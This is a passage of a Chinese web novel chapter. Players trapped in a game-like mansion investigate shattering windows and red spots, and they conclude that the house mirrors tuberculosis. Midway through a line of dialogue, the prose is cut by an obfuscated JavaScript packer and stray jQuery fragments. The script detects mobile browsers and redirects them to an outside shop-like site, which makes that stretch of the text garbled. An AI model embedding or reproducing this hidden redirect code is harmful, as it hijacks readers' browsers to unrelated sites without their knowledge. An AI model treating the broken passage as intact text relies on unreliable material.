姜照蕴一愣:“这不是我们的推测吗?目前也只是从画风差异,还有餐厅那幅自画像的画中世界和画家夫人的描述之间的矛盾做出的推理吧?”
“不,我们还有更多线索。”徐一清道,“不管是画廊还是走廊,两种风格差别很大的画作都是混着挂的,这不太符合一般人的收纳和摆放逻辑。这一点还是你和张文杰最先发现的。”
这说的是副本刚开始不久,姜照蕴得到指示去盥洗室和张文杰接头的时候,她们在走廊里发现的问题。那时她和张文杰讨论过一次,但当时没能得出结论,猜测也是倾向于画家威廉有枪手,或者画的摆放方式不是画家威廉的主意。
“张文杰告诉了我这件事,我特别调查了一下。”徐一清摸了摸下巴,“我的这个男仆身份在仆人里面也算是老资历了,但从我到这座房子应聘的时候开始,那些画就已经挂出来了。比我更老的资历也没有几个,我都打探过,但都没参与过挂画。”
“你的意思是,这座房子里除了画家威廉夫妻以外的其他人,都是在画廊设计好了之后才来到这里的?”
“嗯哼。”
“那之后呢?画家威廉这么出名,他近年来没有新的作品吗?”
徐一清一摊手:“这就是有意思的地方了。画家威廉近两年的所有作品都在画出来之后不久被人买下,一幅都没能挂在房子里。”
“……确实有点奇怪。”姜照蕴道,“你见过吗?那些画。”
“没有。画家威廉的工作室是仆人禁地,连打扫都不许。除了卖画的时候帮忙打包的仆人,他的作品从画出来到卖出去的整个流程几乎没有任何人看见。”徐一清道,“我知道你想问什么,负责打包的仆人我也问过,画的内容丝滑地溜过他们光滑的大脑,没留下任何痕迹。”
姜照蕴:“……”
“很怪异,不是吗?”徐一清道,“所以我们一直以为他有枪手嘛。不然为什么总偷偷摸摸的?”
“那枪手是谁?”
“那谁知道。”
姜照蕴:“……”
“不用太担心。李越已经去画家威廉的工作室调查了,以他的能力,有没有枪手应该很快就能有一个比较明确的答案了。”
“不,我觉得这不影响我们刚才的讨论。”姜照蕴揉了揉额角,“不管这些画是不是画家威廉画的,名义上他都是作者。现状依然是,生前的‘梵高’拥有了死后的名声。”
“这倒是……”
砰——!!
一声巨响。
画廊的一扇巨大的雕花窗户瞬间粉碎,大块的碎玻璃和碎木块被卷往窗外。
徐一清条件反射地挡在了姜照蕴身前。但就如之前在杂物间外的仆人走廊里一样,除了窗户瞬间崩碎,没有任何其他异常出现。
这次没人盯着窗户,不知道它是怎么碎的。但就如上次一样,没人感觉到风。十分的莫名其妙。
“先走。”徐一清脸色严肃。
不然这大半夜的,要是有谁发现画廊里有人,被当成贼都是轻的。
姜照蕴一句话没说,端着蜡烛迅速轻声地返回她们来的时候的仆人走廊。徐一清断后,几乎漆黑一片的视野完全没影响他的敏捷,像黑豹一样无声地没入了黑暗里。
姜照蕴一边走一边从口袋里掏出怀表,一看时间竟然已经很接近她们和李越他们约定好的凌晨四点了,她和徐一清对视了一眼,决定直接回杂物间。
杂物间附近那扇碎了窗户的窗洞依然大张着嘴,姜照蕴扫了一眼就不再关注,钻进了杂物间。她本以为她们已经算是提前了,不料杂物间里已经坐了一个人。蜡烛一照,正是李越。
“哟,李越队长。”徐一清从姜照蕴身后探了个头出来,双指并拢指向太阳穴,敬了一个不伦不类的礼,“怎么样?有线索吗?”
“线索有。你们先坐下。”李越没理徐一清的不着调,“不过在线索之前,有一件更令我在意的事。我在搜查画家威廉的工作室的时候,工作室的窗户突然炸开了,就像我们之前看见的那个一样。”
姜照蕴和徐一清闻言面面相觑。
“事实上,我们也遇到了,就在刚才。”徐一清道,“我们担心有人听到声音,所以先离开了。”
“我什么都没听见。”李越道,“同样的,你们应该也没听见工作室那边传来的窗户碎掉的声音。但房子就这么大,夜里安静,怎么也不可能一点动静都听不见。”
“……还真没听见。”徐一清脑子活泛起来,“我猜一猜,你是年轻绅士,以你的身份,应该没像我们一样听见窗户碎掉的动静就逃跑。你留在了工作室里,但直到你离开,都没有一个人过去查看情况。”
见李越点头,徐一清咋舌:“真是怪了。房子里这么多人跟睡死了一样。”
李越:“有一种可能,夜晚的大宅和白天的不是同一个,就像表里世界一样。”
徐一清思忖了片刻,摇头道:“我去过一次表里世界的副本,我觉得不像。除了莫名其妙碎掉的窗户和睡不醒的人,这座房子和白天的时候几乎没有差别……”
他话还没说完,杂物间的门就又被推开了。张文杰顿在了门口,手中的蜡烛照亮了那张面色沉沉的脸。郑鑫从后面把他推了进去,把门关上后低声道:“别慌。有解决办法的。”
李越站起身迎了过去:“怎么回事?”
张文杰深吸了一口气,伸出双手,平摊开手掌,只见手掌上星星点点地散布着大量红斑点,密密麻麻的,触目惊心。
李越冷静地问道:“什么时候出现的?”
张文杰强作镇静,语气带着些不易察觉的颤抖:“具体什么时候出现的不知道,不疼,天黑了也看不清,若不是郑鑫眼尖,恐怕要到早上才能发现。”
“我来说吧。”郑鑫把张文杰按到了椅子上,“我们搜查这座房子,其他零零碎碎的先不说了。重点是,我们在很多地方都发现了密集分布的红斑,天花板上,墙上,地面上,除了被墙纸和家具挡住的地方我们不方便探查,其他地方几乎都有。”
李越心领神会:“和张文杰这个很像?”
“很像。”郑鑫点头,“蜡烛光是橙色偏黄,这种斑点是红色,不仔细看很难发现。但只要发现了,就会发现其实哪里都有。顺便……”他顿了顿,“我们白天看到的那些深红色圆饼,全都消失了。”
这说的是那些边缘隆起,中间凹陷的深红色圆饼,白天的时候它们稀稀拉拉地分布在天花板上或墙壁夹角处。
徐一清无奈地以手遮脸:“……我收回刚才的话。这确实有些像表里世界了。”
李越陷入思考:“出现异常的是房子?那是房子的异常感染了人?”
姜照蕴捧起张文杰的手仔细看了看,提出了另一个想法:“或者反过来?是人的疾病反过来表现在房子上?”
也有道理。李越问她:“那你觉得是什么病?”
姜照蕴:“……”
那可多了去了。
她掰着手指头:“过敏、荨麻疹、玫瑰疹……很多皮肤病都有这种症状。”
李越问张文杰:“你还有什么别的不舒服的地方吗?”
“……没有。”张文杰肩膀一塌,“我一点感觉都没有。”
现场没有一个专业的医生,实在是抓瞎。
“如果是疾病的话,我们可以把今天夜里的异常现象也总结一下。”姜照蕴道,“比如那几扇突然崩碎的窗户,碎玻璃都是朝外面飞溅,你们觉得像什么?”
徐一清思考了片刻:“打喷嚏?”
“或者咳嗽。”姜照蕴继续道,“还有气温异常变高,可以理解为……发烧?空气异常潮湿呢?”
“发汗?”徐一清猜测,“墙上都是水,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17881337|212471||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不碰都往下淌。”
“很合理。”姜照蕴道,“打喷嚏、咳嗽、发烧、发汗,皮肤红疹。像什么?”
沉默。
徐一清举手:“要是不算最后一个红疹,听着像感冒。”
“我觉得不太对。”李越反驳道,“副本里大部分现象都有代表意义,一个普通感冒能代表什么?”
徐一清虚着眼:“李越队长,咱们这又不是在现代。医疗条件没那么好。”
李越顿了一下,捏了捏鼻梁:“不,我不是在说这个。从我——我是说这个年轻富商——的记忆里来看,普通感冒算不了什么大事。这个富商发家前只是中产家庭出身,更不用说上层阶级了。画家威廉也是有钱人,这点应该可以迁移过去。”
“感冒……感冒……”姜照蕴低声呢喃。她觉得她应该知道些什么,但死活想不出来。
徐一清没听见姜照蕴的自言自语,听了李越的说明之后摊了摊手:“好吧。你说得对。不过从我的记忆来看,这个时代的很多穷人感冒了看不起医生,又忙着糊口,没空休息,经常拖成重病,病死的也很多。”
一道闪电划过姜照蕴的大脑,她一把抓住徐一清的胳膊:“对!感冒拖着不治很容易发展成肺炎。在近代细菌学发展起来之前,没有抗生素,肺炎的死亡率非常高。”
徐一清被姜照蕴的突然一抓吓了一跳,但很快被她的话吸引了注意力:“这么说,是肺炎?”
李越不同意这个看法:“我说了,画家威廉是有钱人,有钱人不至于把感冒拖成肺炎。”
“那不一定。”徐一清道。随即他就把他和姜照蕴在画廊分析出的“梵高理论”讲了一遍,重点强调了一下画家威廉和梵高的相似性,顺便简单提了提梵高那具有传奇色彩的潦倒生平。
讲完之后,徐一清突然想起了什么,问道:“你去工作室查了一遍,画家威廉有没有枪手,有定论了吗?”
李越:“没有。”
“没有?”徐一清一惊。
“画家威廉的工作室里找不到第二个人的痕迹。”
徐一清:“……”
他忍不住骂了句脏话。
“咱们先不讲梵高。”姜照蕴疲惫地按了按眉心,“虽然这么猜没什么依据,但肺炎是急症,发的一般是高热,而且很少出汗——冷汗不算的话。但我们感受到的气温升高并不多,一开始甚至没能察觉。再加上由湿度升高和墙上滴水联想到的发汗,我觉得更像肺结核。
“咳嗽、低热、夜间发汗。不仅如此,在19世纪及以前的欧洲,肺结核是大范围流行,而且高度致死的传染病。《茶花女》看过吗?”
四脸懵逼。
这一瞬间姜照蕴甚至开始怀疑自己是不是已经过时了,这不是初高中的推荐书目吗?
“……听说过。”张文杰似乎是看不下去了,在回到杂物间之后第一次主动开口,“怎么了吗?”
“……没什么,这不重要。”姜照蕴放过了这个话题,“总之,我觉得和目前状况最符合的是肺结核。不像肺炎,肺结核基本众生平等,都是绝症,有钱人顶多有休养环境,能多活几年而已。而且在19世纪的欧洲,肺结核经常被浪漫化,和‘优雅’‘艺术’联系在一起。这很符合画家威廉艺术家的身份。”
“很有道理。”徐一清抓着张文杰地手举了举,“那这个红疹是什么?”
“……我不知道。”姜照蕴心道我又不是百○百科。
“先停一下。”李越突然打断了他们的对话,“气温开始回落了。”
被他一提醒,沉迷讨论的人们突然感到一阵冷。
李越打开杂物间的门,朝外望了望:“……你们来看。”
众人一个接一个地走出了杂物间,沉默地看着原本崩碎了的窗户完完整整地镶在窗框里,仿佛之前那空荡荡的窗洞只是他们的集体幻觉。